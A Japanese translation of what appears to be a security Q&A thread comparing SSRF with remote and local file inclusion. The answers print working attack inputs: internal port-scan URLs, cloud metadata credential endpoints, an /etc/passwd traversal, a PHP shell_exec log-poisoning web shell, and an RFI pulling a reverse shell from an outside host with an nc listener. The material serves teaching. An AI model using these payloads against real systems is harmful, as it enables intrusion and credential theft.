RFI / LFIとSSRFの違いは何ですか？
それらに違いはありますか？ Server Side Request Forgery （SSRF）は Remote File Inclusion （RFI）および Local File Inclusion （LFI）の一般化であると言えるでしょうか？
サーバー側リクエストフォージェリはRFIまたはLFIになる可能性があります
これはRFIと同じにすることができます。同じ2つの脆弱性が同じ関数内に存在する可能性があります。注意点は、多くのWebアプリがファイアウォールなどを介して外部ドメインへのアクセスをブロックし、RFI部分をexternalホストに対して「不可能」にすることです。 。
特定のURLを要求し、URLに基づいて情報を出力するWebアプリがあるとします。
RFIは外部ソースと通信できず、内部ホストのみがホワイトリストに登録されているため、ファイアウォールレベルでRFIがブロックされていると仮定します。または、プリプロセッサエンジンまたはWebアプリケーションに、エスケープなどを使用してリモートでコードが実行されないようにする機能があると想定できます。
さて、外部IPの代わりにinternalIPアドレスを入力するとどうなりますか？
_hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100
_Webアプリケーションがそのページに基づいて情報を返す場合、状況によってはこれをRCEに変換したり、SSRFの脆弱性を使用して内部リソースに対してポートスキャンを実行したりできる場合があります。
SSHポートで「スキャン」を試してみましょう。
_hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22
_次のエラーを返します：
_PHP Warning: fopen(hxxp://10.40.20.100:22):
failed to open stream: hxxp request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2
_あなたは私がその内部ネットワークアドレスでSSHを開いていることを明らかにしました。うーん。多分あなたは他のポートでいくつかの列挙を行い、何が開いているかを見ることができます。どこかでinternalRFIを実行できるファイルのアーカイブを見つけることもできます。
また、クラウドメタデータなど、通常は内部ネットワークでのみ利用可能なリソースを読み取ることもできます。
SSRF攻撃は、多くの場合、RFI攻撃のようにも機能します。しかし、一般的には、人々は（私は願っていますが）Webサーバー自体にないリモートファイルのインクルードを無効にします。
クラウドメタデータ
SSRFの脆弱性を悪用する最も厄介な方法の1つは、クラウドホスティングプロバイダー全体で横方向にエスカレートするために使用できるアクセス資格情報を提供できるクラウドメタデータファイルを含めることです。
以下に示すさまざまなクラウドプロバイダーまたはテクノロジーの例：
Amazon Webサービス（AWS）
_hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/AMI-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
_Microsoft Azure
_hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
_Google Cloud Platform（GCP）
_hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
_Oracle Cloud
_hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/
_Kubernetes
_hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics
_ローカルファイルの包含
LFIに対して脆弱な関数は、RFIに対しても脆弱である可能性があります。場合によります。このシナリオでは、次のようなローカルファイルを含めます。
_hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd
_これにより、システム上にいるユーザーを確認できるため、SSH経由でそれらのユーザーの1人として接続するか、それらのユーザーに関する詳細情報を見つけることができます。それを使ってできることはたくさんあります。
サーバーに書き込んだスクリプトを含めることもできますし、プリプロセッサエンジンによって実行されるコードで_access.log_を汚染した可能性があります（<? echo Shell_exec($_GET["c"]); ?>をログに記録される正当なリクエスト）、コンテキストに応じて別のユーザーとしてリモートでコードを実行します。
リモートファイルの包含
上記を参照してください。リモートファイルのみが許可されます。この関数は、LFIとRFIの両方に対して脆弱である可能性があります。
RFIを使用すると、コードを実行する可能性が非常に高くなります。プリプロセッサエンジンで処理せずにPHPコードを返すWebサーバーをホストし、被害者のサーバーで実行することができます。
_hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-Shell.php
_そのファイルにPHPコードを入れると、この脆弱性でコードを実行できる場合があります。1つの例は、リバースシェルコードの使用です。リスナーをスローします。
_nc -nlvp 4444
_次に、RFIの脆弱性があるページにアクセスすると、リバースシェルがトリガーされます。
_connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami
markfluffybunnybuffalo
_結論
したがって、RFI/LFIとSSRFはほとんど同じ種類の脆弱性であり、異なる方法で使用されているようです。
SSRFとRFI/LFIはどちらもインジェクション攻撃ですが、実装方法によって異なり、異なる影響を与える可能性があります。
SSRFについては、以下の例を検討してください。
if (isset($_GET['uri'])){
$uri = $_GET['uri'];
$location = fopen($uri, 'rb');
上記のコードでは、ユーザーは「uri」パラメーターを制御でき、ターゲットサーバーから外部サーバーに任意のリクエストを行うことができます。これは、ターゲットサーバーがアクセスできるリソースへのリクエストを作成するために悪用される可能性もあります。 http：// localhost/aws-stats のようなもの、または他の内部リソースにアクセスします。ローカルネットワークのポート/サービスをさらに列挙するか、「file：//」および「dict：//」スキームを使用してサーバー上のファイルにアクセスできます。
RFI/LFI、DVWAのコードを見てください https://github.com/ethicalhack3r/DVWA/blob/master/vulnerabilities/fi/index.php
if( isset( $file ) )
include( $file );
これはSSRFによく似ていますが、独自のPHP=コードを含めてサーバーで実行するために悪用される可能性があります。LFI/ RFIを利用してRCEを取得する方法はいくつかあります。この紙を見てみたい：